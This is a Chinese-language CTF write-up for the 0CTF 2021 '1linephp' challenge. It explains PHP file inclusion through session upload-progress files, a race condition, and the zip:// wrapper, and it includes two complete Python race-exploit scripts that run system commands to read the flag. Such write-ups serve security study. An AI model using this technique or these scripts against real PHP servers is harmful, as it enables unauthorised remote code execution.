TCTF 1linephp_0ctf 2021 1linephp

0x00. 参考文档
https://gist.github.com/as3617/50d598ede736d81bc57804e4d19700e5#file-s-zip-hexcode
https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2021/1linephp/writeup/1linephp_writeup_en.md
有点像defcon-2018 one_line_php

0x01.源码及原理

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
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phpinfo中
session.upload_progress.enable on
可以利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
session.upload_progress.cleanup会自动清理session，需要条件竞争
https://www.freebuf.com/vuls/202819.html
session.use_strict_mode值为0时。此时用户是可以自己定义Session ID的。比如，我们在Cookie里设置PHPSESSID=TGAO，PHP将会在服务器上创建一个文件：/tmp/sess_TGAO”。(也可能在/var/lib/php目录下)即使此时用户没有初始化Session，PHP也会自动初始化Session。 并产生一个键值，这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成，最后被写入sess_文件里。
所以可以通过上传一个很大的文件来进行条件竞争，同时post PHP_SESSION_UPLOAD_PROGRESS=webshell然后连接

0x02.具体解题步骤
源码非常简单，get传入参数后会拼接.php，然后包含该文件，试了data协议和phar协议，都不太能用，后来发现使用zip伪协议很方便
例如构造zip://tmp/sess_xxxx#1.php可以直接读到1.zip打包中的1.php文件
这里需要将zip的内容通过PHP_SESSION_UPLOAD_PROGRESS传进session的临时文件中，然后通过条件竞争利用zip伪协议访问该sess_xxxx#shell并传入命令执行的参数

非预期：
zip的前16个字节（upload_progress_⻓度为16）对php读zip没影响，删掉（改为00）然后竞争即可

预期：
已知php使用libzip解析zip包，此时对zip包的开头没有一定的要求，可以在前面插入数据，更改offset位，使zip被正常解析

0X03脚本
by Nu1L

import requests
import threading
host = 'http://111.186.59.2:50082'
PHPSESSID = 'qiyou'
def creatSession():
    while True:
        files = {
            "upload" : ("tmp.jpg", open("./1.jpg", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : open("./s.zip", "rb").read() }
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)
fileName ='zip:///tmp/sess_qiyou%23s&a=system&b=cat%20/dd810fc36330c200a_flag/flag'
if __name__ == '__main__':
    url = "{}/index.php?yxxx={}".format(host,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)

        print(res.content)

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by as3617

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = "http://111.186.59.2:50082/"

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=12'
}
payload = open('./s.zip', 'rb').read()


def runner1(i):
    url = "http://111.186.59.2:50082/"
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': payload
    }
    while 1:
        fp = open('1.jpg', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()


def runner2(i):
    filename = '/tmp/sess_12%23s&a=system&b=cat%20/dd810fc36330c200a_flag/flag'
    filename = f'zip://%s' % filename
    # print filename
    while 1:
        url = '%s?yxxx=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.text
        if c and 'yxxx' not in c:
            print(c)


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async(runner, range(32)).get(0xffff)

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